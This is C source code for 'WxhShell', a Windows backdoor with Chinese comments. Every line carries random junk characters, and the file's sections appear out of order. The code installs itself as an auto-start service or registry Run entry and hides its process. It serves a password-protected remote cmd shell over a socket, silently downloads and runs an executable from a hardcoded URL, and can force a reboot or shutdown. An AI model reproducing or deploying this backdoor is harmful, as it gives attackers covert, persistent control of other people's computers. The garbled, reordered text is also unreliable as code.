    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~5>)yN_a1  
    else { pOn>m1|  
    closesocket(wsh); .1.Bf26}d  
    ExitThread(0); 8S>T1st  
    } |"Js iT  
    break; + (cTzY  
    } -VESe}c:nQ  
  // 获取shell mk;l;!*T8  
  case 's': { zhDmZ  
    CmdShell(wsh); hY.zwotH  
    closesocket(wsh); |-hzvuSX  
    ExitThread(0); #KonVM(`  
    break; f.`noZN  
  } c8sY#I  
  // 退出 :o}J u}t  
  case 'x': { tVZj tGz=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xFpMn}CD  
    CloseIt(wsh); $e;_N4d^  
    break; ^3Ni  
    } K YFumR  
  // 离开 ?#^_yd|<  
  case 'q': { Z4Nl{  6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &Z_W*D  
    closesocket(wsh); W^W^5-'"D,  
    WSACleanup(); J3fcnI  
    exit(1); 'Pudy\Ab  
    break; $-$^r;  
        } oXg KuR  
  } 32=Gq5pOc  
  } N9D<wAK##)  
;%Jw9G\h  
  // 提示信息 U3 e3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j(!M  
} 2B7X~t>8a  
  } xn&G`  
<@}~Fp@  
  return; *]fBd<(8  
} d*=P8QwL|  
/lSz8h2  
// shell模块句柄 -y{o@  
int CmdShell(SOCKET sock) gRuNC=sR  
{ |~bl%g8xP  
STARTUPINFO si; E ?(  
ZeroMemory(&si,sizeof(si)); 5Cd>p<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  M SU|T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B~cQl  
PROCESS_INFORMATION ProcessInfo; q28i9$Yqj\  
char cmdline[]="cmd"; %_wX9Z T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2l#Ogn`k  
  return 0; e%&2tf4  
} }u&.n pc  
ewqfs/  
// 自身启动模式 ^0 R.U+?+  
int StartFromService(void) <8[BB7  
{ _PrK6M@"L  
typedef struct .N8AkQ(Ok  
{ <jT6|2'  
  DWORD ExitStatus; K*Zf^g m  
  DWORD PebBaseAddress; 2/qP:3)  
  DWORD AffinityMask; "#2z 'J  
  DWORD BasePriority; S*6P=O*  
  ULONG UniqueProcessId; 1Tf"<D p  
  ULONG InheritedFromUniqueProcessId; pGz-5afL  
}   PROCESS_BASIC_INFORMATION; \~1M\gZP  
6~sb8pK.=  
PROCNTQSIP NtQueryInformationProcess; A1:<-TF6^p  
, gk49z9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7_taqcj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QF(.fq8, U  
|k:MXI  
  HANDLE             hProcess; V<AT"vU[  
  PROCESS_BASIC_INFORMATION pbi; 3qPj+@  
j0!Z 20  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m]BxGwT=m  
  if(NULL == hInst ) return 0; q4<3 O"c1  
kJqgY|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Qwb=N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *D1 ^Se  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NH$a:>  
SsfnBCVR  
  if (!NtQueryInformationProcess) return 0; tK6z#)  
d6-a\]gF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ahA21W` k  
  if(!hProcess) return 0; Zf |%t  
kt.z,<w5O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W~+ ] 7<  
XKB)++Q=  
  CloseHandle(hProcess); {wRsV=*  
2e zQX2q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CN@bJo2  
if(hProcess==NULL) return 0; M ()&GlNs  
cj@Ygc)n  
HMODULE hMod; n5A0E2!  
char procName[255]; 0'`>20Y  
unsigned long cbNeeded; Iodk1Y;  
QWv+J a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i ~fkjn  
Z9mY*}:U~  
  CloseHandle(hProcess); 6wx;grt'Z  
x):cirwkl  
if(strstr(procName,"services")) return 1; // 以服务启动 ";yCo0*  
Io*`hA]  
  return 0; // 注册表启动 4bqi&h3  
} Juj"cjob  
-l<b|`s=w.  
// 主模块 a:Js i=  
int StartWxhshell(LPSTR lpCmdLine) oCdWf63D  
{ _eM\ /(v[  
  SOCKET wsl; vFL Qq,?Nh  
BOOL val=TRUE; [ps5;  
  int port=0; #N_C| v/  
  struct sockaddr_in door; cq+|fg~Yy  
DVt;I$  
  if(wscfg.ws_autoins) Install(); An!1>`8r  
2Jl6Xc8  
port=atoi(lpCmdLine); x?Doe`/6?  
E&P'@'Yk  
if(port<=0) port=wscfg.ws_port; NL 3ri7n  
.5'M^  
  WSADATA data; 3JM0 m (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UVlD]oXKh  
xGTVC=q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w~hO)1c],:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B}8xA}<  
  door.sin_family = AF_INET; &{NN!X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g-"@%ps  
  door.sin_port = htons(port); x zu)``?  
VV O C-:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J3gJSRT@P  
closesocket(wsl); K>X#,lE-  
return 1; Ac}+U q  
} Ecp]fUQK  
Y~#m-y  
  if(listen(wsl,2) == INVALID_SOCKET) { 4Ei*\:  
closesocket(wsl); ^WQ.' G5Q  
return 1; #qY`xH'>  
} hp+=UnW  
  Wxhshell(wsl); )isz }?Dj  
  WSACleanup(); NpqMdd   
J7q^4M+o:  
return 0; @igr~hJ  
.Nz2K[  
} fVx<f.xuW  
o^FlQy\  
// 以NT服务方式启动 :UM>`Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d\dh"/_$  
{ WG>Nm89  
DWORD   status = 0; lYldq)qB{  
  DWORD   specificError = 0xfffffff; "vI:B}  
m/uBM6SXx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >J!4x(;Yh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RhR{EO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  PNY"Lqj  
  serviceStatus.dwWin32ExitCode     = 0; 5'wWj}0!%  
  serviceStatus.dwServiceSpecificExitCode = 0; Uo?g@D  
  serviceStatus.dwCheckPoint       = 0; !qk+>6~A,  
  serviceStatus.dwWaitHint       = 0; K8M[xaI@  
jsB%RvX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =n .d'  
  if (hServiceStatusHandle==0) return; w%F~4|F  
<]<P<  
status = GetLastError(); N\{Xhr7d  
  if (status!=NO_ERROR)  @v &hr  
{ )(yD"]co  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ci*rem  
    serviceStatus.dwCheckPoint       = 0; 3gtQS3$4s  
    serviceStatus.dwWaitHint       = 0; ;Gixu9u'  
    serviceStatus.dwWin32ExitCode     = status; ?D ?_D,"C  
    serviceStatus.dwServiceSpecificExitCode = specificError; c-1,((p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C$?gt-tJ'  
    return; L!G]i;=:  
  } MJ"ug8 N  
{2"8^;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J=?`~?Vbo  
  serviceStatus.dwCheckPoint       = 0; 7u7`z%  
  serviceStatus.dwWaitHint       = 0; B8A-|S!,U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e>z   
} B!{vSBq  
&z kuL  
// 处理NT服务事件,比如:启动、停止 %gUf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HZ%2WM  
{ -Uj)6PzGu  
switch(fdwControl) ?5'EP|<  
{ lz1RAp0R "  
case SERVICE_CONTROL_STOP: "LZQ1P*ef$  
  serviceStatus.dwWin32ExitCode = 0; Bv-|#sdxm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I!sh+e  
  serviceStatus.dwCheckPoint   = 0; q,S[[{("  
  serviceStatus.dwWaitHint     = 0; -;]m4R)z  
  { KA~eOEj M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LF6PKS  
  } CVUA7eG+  
  return; ]mIcK  
case SERVICE_CONTROL_PAUSE: 8i$quHd&x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xAJ N(8?  
  break; 9~3;upWu!  
case SERVICE_CONTROL_CONTINUE: V+`gkWe/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C7PVJnY0  
  break; -_@zyF<G  
case SERVICE_CONTROL_INTERROGATE: iM \3~3'  
  break; 3XykIj1  
}; =Q+i(UGHi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J>D+/[mFt  
} ctg U  
S7oPdzcU-  
// 标准应用程序主函数 }-`N^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1,Ams  
{ v=m!$~  
ki|KtKAu_9  
// 获取操作系统版本 Nk JOD3>U  
OsIsNt=GetOsVer(); A]<+Aq@{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )ZZjuFQJ)  
wPr9N}rf  
  // 从命令行安装 Ygeg[S!7  
  if(strpbrk(lpCmdLine,"iI")) Install(); J!{"^^*  
GgT 5'e;N  
  // 下载执行文件 +lYo5\1=  
if(wscfg.ws_downexe) { uX/K/4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JRgrg &#  
  WinExec(wscfg.ws_filenam,SW_HIDE); |)TI&T;k  
} "Yp:{e  
.4CCR[Het  
if(!OsIsNt) { ,gO}H)v]t  
// 如果时win9x,隐藏进程并且设置为注册表启动 dw*PjIB9x  
HideProc(); UTWchh  
StartWxhshell(lpCmdLine); Tumv0=q4wd  
} "mk@p=d  
else DtEvt+h  
  if(StartFromService()) ]u5B]ZQnA  
  // 以服务方式启动 pVm]<jO  
  StartServiceCtrlDispatcher(DispatchTable); q\DN8IJ  
else YL?2gBT  
  // 普通方式启动 5& 2([  
  StartWxhshell(lpCmdLine); 7Gh+EJJ3I  
K UD.hK.  
return 0; jm ORKX+)  
} ?T1vc  
q g2 fTe  
og[cwa_  
% _.kd"  
=========================================== *;ehSg9  
xF8U )j !  
d/&W[jJ  
a^vTBJXo  
iY,Ffu E  
ZA1:Y{ V  
" ']bw37_U,  
! V^wq]D2  
#include <stdio.h> 4 EE7gkM5  
#include <string.h> r5,V-5b  
#include <windows.h> ohJo1}{  
#include <winsock2.h> !eu\ShI  
#include <winsvc.h> !{1;wC(b  
#include <urlmon.h> olv0w ;s  
@k-C>h()C  
#pragma comment (lib, "Ws2_32.lib") s' 4O] k`  
#pragma comment (lib, "urlmon.lib") Vi m::  
Rs@>LA  
#define MAX_USER   100 // 最大客户端连接数 "M;aNi^B  
#define BUF_SOCK   200 // sock buffer fEo5j`}  
#define KEY_BUFF   255 // 输入 buffer 0 :iR=S  
mOC<a7#  
#define REBOOT     0   // 重启 (-D^_*f  
#define SHUTDOWN   1   // 关机 F$sDmk#  
+^<s'  
#define DEF_PORT   5000 // 监听端口 Te6cw+6  
39qIoaHT  
#define REG_LEN     16   // 注册表键长度 ;;|o+4Ob;  
#define SVC_LEN     80   // NT服务名长度 $ucDz f=o  
PyoIhe&ep  
// 从dll定义API H/2dVUU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); | LX Vf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0f5c#/7C9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %y{'p:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q2>o+G  
Nov)'2g7G  
// wxhshell配置信息 Cut7  
struct WSCFG { \1He9~6  
  int ws_port;         // 监听端口 Y'^+ KU  
  char ws_passstr[REG_LEN]; // 口令 =OeLF  
  int ws_autoins;       // 安装标记, 1=yes 0=no  ID]E3K  
  char ws_regname[REG_LEN]; // 注册表键名 vbh 5  
  char ws_svcname[REG_LEN]; // 服务名 L9$`zc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,<(0T$o E[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 / q| o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *B)J(^M!q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $'x#rW>v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HfPu~P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +;ylld  
%Ze]6TP/><  
}; %M*2j%6  
ElA(1o|9I  
// default Wxhshell configuration 9vckQCLM  
struct WSCFG wscfg={DEF_PORT, g)1`A 24  
    "xuhuanlingzhe", sj3[ny;b  
    1, yBRYEqS+  
    "Wxhshell", h0&Oy52  
    "Wxhshell", l*w*e.ezQ  
            "WxhShell Service", hLr\;Swyp  
    "Wrsky Windows CmdShell Service", /o^/ J~/3  
    "Please Input Your Password: ", 6)veuA3]  
  1, Ys0N+  
  "http://www.wrsky.com/wxhshell.exe", &0`i(l4]l  
  "Wxhshell.exe" #OlPnP2  
    }; "s.hO0Z  
[Y4Wm?  
// 消息定义模块 Z,oCkv("n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I8/tD|3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c2u*<x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {G+iobQdd  
char *msg_ws_ext="\n\rExit."; /5Sd?pW;  
char *msg_ws_end="\n\rQuit."; []$L"?]0uk  
char *msg_ws_boot="\n\rReboot...";  u]OYu  
char *msg_ws_poff="\n\rShutdown..."; +~V)&6Vn  
char *msg_ws_down="\n\rSave to "; IuY4R0Go  
&^7(?C' u  
char *msg_ws_err="\n\rErr!"; Qd/x{a8  
char *msg_ws_ok="\n\rOK!"; 4" pU\g  
u` ;P^t5  
char ExeFile[MAX_PATH]; d2?#&d'aq  
int nUser = 0; sp&gw XPG  
HANDLE handles[MAX_USER]; ]*hH.ZBY"^  
int OsIsNt; Pj1k?7  
F_Gc_eT  
SERVICE_STATUS       serviceStatus; RF= $SMTk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^ X-6j[".  
OtbPr F5  
// 函数声明 ^fQa whub  
int Install(void); uD?Rs`  
int Uninstall(void); _3IRj=Cs  
int DownloadFile(char *sURL, SOCKET wsh); w6h*dh$w  
int Boot(int flag); :'FCeS9  
void HideProc(void); DP-0,Gt&Xj  
int GetOsVer(void); )b1X6w[  
int Wxhshell(SOCKET wsl); J$U_/b.mk  
void TalkWithClient(void *cs); \YSprXe  
int CmdShell(SOCKET sock); KE6 XNG3  
int StartFromService(void); } ,@ex  
int StartWxhshell(LPSTR lpCmdLine); fDRG+/q(+  
F5y&"Y_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6 ZAZJn|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yd(<;JKF[  
CQPq5/@Y4  
// 数据结构和表定义 XE]"RD<z  
SERVICE_TABLE_ENTRY DispatchTable[] = \&l@rMD3s  
{ B3<sSe8L0  
{wscfg.ws_svcname, NTServiceMain}, ~e&O?X  
{NULL, NULL} A&A{Thz  
}; ~9PZ/( '  
xE{slDl  
// 自我安装 D/afa8>LQH  
int Install(void) eM@xs<BR  
{ 91-[[<  
  char svExeFile[MAX_PATH]; tAPf#7{|   
  HKEY key; .Q^V,[on1T  
  strcpy(svExeFile,ExeFile); fRT4>So   
mL-6+pJ@  
// 如果是win9x系统,修改注册表设为自启动 oQ A,57B  
if(!OsIsNt) { m Ga:~x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ExM VGe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .K]Uk/W  
  RegCloseKey(key); >?#zPweA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l&*= .Zc7!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dr76+9'i  
  RegCloseKey(key); JLt%G^W >  
  return 0; ^X?uAX-RP|  
    } "lrQC`?  
  } l"7#(a  
} U~d%5?q  
else { 'Z]wh.]T  
CvR-lKV<  
// 如果是NT以上系统,安装为系统服务 &KY!a0s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,"F0#5  
if (schSCManager!=0) =kf"%vFV  
{ |MOz> 1<a  
  SC_HANDLE schService = CreateService ddN G :  
  ( :>/6:c?atG  
  schSCManager, CYlS8j  
  wscfg.ws_svcname, LJom+PxF$x  
  wscfg.ws_svcdisp, *<[zG7+&[  
  SERVICE_ALL_ACCESS, t 4VeXp6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Abi(1nXdQ  
  SERVICE_AUTO_START, m\XG7uo~  
  SERVICE_ERROR_NORMAL, hzU(XW  
  svExeFile, ExMd$`gW  
  NULL, B*Ey&DAV  
  NULL, Rt:^'Qi$!  
  NULL, ];jp)P2o  
  NULL, O"/Sv'|H#  
  NULL IT)3Et@Y  
  ); C#4_`4{  
  if (schService!=0) &r,)4q+  
  { g~$UU(HX  
  CloseServiceHandle(schService); |fIyq}{7  
  CloseServiceHandle(schSCManager); T"aE]4_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T:Ovh.$  
  strcat(svExeFile,wscfg.ws_svcname); 7>f"4r_r6<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u:f.;?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i]s%tEZ1  
  RegCloseKey(key); Y%?*Lj|  
  return 0; bdY:-8!3  
    } nt+OaXe5D  
  } ~A1!!rJX  
  CloseServiceHandle(schSCManager); m=+x9gL2  
} 3<xDxj 0<  
} >x3lA0m  
B^]PKjLNZ  
return 1; ;TS%e[lFhQ  
} #vhN$H:&q  
[q C0YM  
// 自我卸载 Nd+1r|e'  
int Uninstall(void) GKjtX?~1  
{ /%s:aO  
  HKEY key; r/HCWs|  
x(xi%?G  
if(!OsIsNt) { `R>z{-@=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KQvSeH>r  
  RegDeleteValue(key,wscfg.ws_regname); Z1:%Aq xP  
  RegCloseKey(key); .Zj`_5C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C\aHr!  
  RegDeleteValue(key,wscfg.ws_regname); vf$IF|  
  RegCloseKey(key); ji ./m8(  
  return 0; G~v:@  
  } ~;a \S3  
} HsUh5;  
} #r]Z2Y]  
else { .)_2AoT7[  
~#jiX6<I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xb<|m2<)H  
if (schSCManager!=0) ,[t? $Cy ;  
{ RRB=JP{r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \@WVeFr  
  if (schService!=0) dS3\P5D.*c  
  { 1+WVh7gF  
  if(DeleteService(schService)!=0) { i>]PW|]  
  CloseServiceHandle(schService); `}KxzD  
  CloseServiceHandle(schSCManager); w/ (c}%v}=  
  return 0; '"\'<>Be  
  } eBs.RR ]O  
  CloseServiceHandle(schService); 7s#8-i  
  } oI[rxr  
  CloseServiceHandle(schSCManager); xVbRCu#Z  
} 1:<(Q2X%  
} * 4Ldh}S!  
16Jq*hKU  
return 1; 5lJL[{  
} ^/#G,MxNy  
-{k8^o7$  
// 从指定url下载文件 83SK<V6  
int DownloadFile(char *sURL, SOCKET wsh) IQ~qiFCf  
{ 9#@s(s  
  HRESULT hr; bT&{8a  
char seps[]= "/"; `=P_ed%&'  
char *token; Mmu#hb|W  
char *file; H$C*&p  
char myURL[MAX_PATH]; lFnYQab  
char myFILE[MAX_PATH]; lTP#6zqfv  
Q,^/Lm|]k  
strcpy(myURL,sURL); t@9-LYbL  
  token=strtok(myURL,seps); (lVMy\  
  while(token!=NULL) Z|$DchC  
  { $x+7.%1m)~  
    file=token; =g! Pw]  
  token=strtok(NULL,seps); {yWL|:#K  
  } VOM@x%6#c  
 MiIxj%,(  
GetCurrentDirectory(MAX_PATH,myFILE); 2Kz$y JTp  
strcat(myFILE, "\\"); v N\[2r%S  
strcat(myFILE, file); V%PQlc.X  
  send(wsh,myFILE,strlen(myFILE),0); ?o?$HK   
send(wsh,"...",3,0); $zp|()_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }Le]qoW['  
  if(hr==S_OK) cI@qt>&  
return 0; 2m:K %Em6u  
else (0b\%;}  
return 1; xxvt<J  
Yq6 @R|u  
} ]!"w?-h Si  
rFpYlMct  
// 系统电源模块 @4T   
int Boot(int flag) ?x&}ammid  
{ ,++HiYOG}e  
  HANDLE hToken; 8R!-,I"$  
  TOKEN_PRIVILEGES tkp; 0VtjVz*C7&  
Q|h$D~  
  if(OsIsNt) { Cm)TFh6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n19A>,m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GHd1?$  
    tkp.PrivilegeCount = 1; ^ExuIe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hE5?G;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); } SW p~3P  
if(flag==REBOOT) { 5~?6]=hl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7;AK=;  
  return 0; I V# 8W  
} UtTlJb{-j  
else { CU\gx*=E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) # euG$(  
  return 0; `x/i1^/_@  
} x>Q% hl  
  } ' Xj^cX  
  else { [;Lgbgt3f  
if(flag==REBOOT) { V&:x+swt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /qy6YF8;y  
  return 0; m\XsU?SuX  
} !>> A@3  
else { %K|f,w=m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M' z.d  
  return 0; g^+p7G  
}  5)'Y\~2  
} ajk}&`Wj"  
B2Y.1mXq  
return 1; O[t?*m1/  
} GkI'.  
XdCP!iq*8  
// win9x进程隐藏模块 E#:!&{O  
void HideProc(void) 6c-3+,Y"#  
{ ?[zw5fUDS  
AF"7 _  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6_KvS  
  if ( hKernel != NULL ) {:!>Y1w>  
  { gR# k'   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6R<+_e+v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wB0vpt5f  
    FreeLibrary(hKernel); \z.bORy  
  } ~:7y!=8#  
R)JH D7 1  
return; ub~ t}  
} ^.8~}TT-U  
A1+:y,wXs  
// 获取操作系统版本 A(E}2iP9=  
int GetOsVer(void) 3{?X>6T  
{ s2SV   
  OSVERSIONINFO winfo; y4h =e~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $rcv@-l  
  GetVersionEx(&winfo); ;K\2/"$QD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }WIkNG4{Z  
  return 1; E,.PT^au  
  else uM1$3<  
  return 0; SXqB<j$.;  
} /i>n1>~yn  
]-X6Cl  
// 客户端句柄模块 bpZA% {GS  
int Wxhshell(SOCKET wsl) uPl}NEwU|  
{ f^1J_}cL  
  SOCKET wsh; &Ril[siw  
  struct sockaddr_in client; bl a`B=r  
  DWORD myID; w6!97x  
_J6 Xq\  
  while(nUser<MAX_USER) kh.P)h'9  
{ }8tF.QjR|  
  int nSize=sizeof(client); wW*7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7ihcjyXB  
  if(wsh==INVALID_SOCKET) return 1; rHw#<oV  
8+|W%}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s,#We} bv  
if(handles[nUser]==0) 9zqo!&  
  closesocket(wsh); q`r| DcN~  
else v%cCJ SO#  
  nUser++; B_ict)}ld  
  } !xck ~EAS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z[*unIk  
lH=|Qu  
  return 0; p2 1|  
} <{k{Coy  
<<?32r~  
// 关闭 socket o=7,U/{D!  
void CloseIt(SOCKET wsh) 6 ScB:8M  
{ GB Yy^wjU  
closesocket(wsh); W/BPf{U  
nUser--; b_nE4>  
ExitThread(0); :5CyR3P  
} o-H?q!  
v%T'!(0j/  
// 客户端请求句柄 a r8iuwfZ  
void TalkWithClient(void *cs) gyAJ#N|  
{ [G$#jUt/O  
Rmmu#-{Y  
  SOCKET wsh=(SOCKET)cs; \O "`o4  
  char pwd[SVC_LEN]; kHhp;<  
  char cmd[KEY_BUFF]; Ny7*MZ-  
char chr[1]; T>% 5<P  
int i,j; hJxL|5Uo  
/J-'[Mc'D[  
  while (nUser < MAX_USER) { xkRMg2X.>9  
kqih`E9P7B  
if(wscfg.ws_passstr) { Skci;4T(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]P wS3:x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y}R$RDRL  
  //ZeroMemory(pwd,KEY_BUFF); 2 G_KTYJ  
      i=0; xSD*e 0  
  while(i<SVC_LEN) { M;<!C%K>  
J$yq#LBbR@  
  // 设置超时 G-)e(u   
  fd_set FdRead; y*^UGJC:  
  struct timeval TimeOut; }#D=Rf?2\P  
  FD_ZERO(&FdRead); ;dUKFdKH}  
  FD_SET(wsh,&FdRead); nktGO  
  TimeOut.tv_sec=8; ZAfuW^r  
  TimeOut.tv_usec=0; FulFEnSV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ga02Zk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #<[&Lw  
!0?o3,of-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^7+;XUyg  
  pwd=chr[0]; fdK E1,;  
  if(chr[0]==0xd || chr[0]==0xa) { +_fFRyu>  
  pwd=0; #d,)Qe[  
  break; }~zDcj_  
  } )/ 'WboL  
  i++; j H2)8~P  
    } -(?/95 Y  
@-[}pZ/  
  // 如果是非法用户,关闭 socket 9#U]?^DJ@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F hUi{`  
} (K=0c 6M3=  
%]I#]jR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &zy%_U2%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AVD hgJv  
G?$o+Y'F  
while(1) { ^L $`)Ja  
VnW6$W?g  
  ZeroMemory(cmd,KEY_BUFF); bdstxjJ`  
:5/Ue,~ag  
      // 自动支持客户端 telnet标准   EF:ec9 .  
  j=0; d lfjx  
  while(j<KEY_BUFF) { +Xw%X3o)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dQ{qA(m  
  cmd[j]=chr[0]; C8|Ls(4Ck  
  if(chr[0]==0xa || chr[0]==0xd) { + GQ{{B  
  cmd[j]=0; $,by!w'e:l  
  break; D%o(HS\E  
  } x+4K,r;  
  j++; |x1OWm1:<  
    } ^AU-hVj  
trrNu  
  // 下载文件 .q MxShUU  
  if(strstr(cmd,"http://")) { lfM vNv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =nCA=-Jv  
  if(DownloadFile(cmd,wsh)) :Y/aT[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3>VL>;75[  
  else GYQ:G=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #1$4<o#M  
  } qc,EazmU  
  else { 9~Sa7P  
C2rG3X^~Jm  
    switch(cmd[0]) { ^V;r  
  %!Eh9C*  
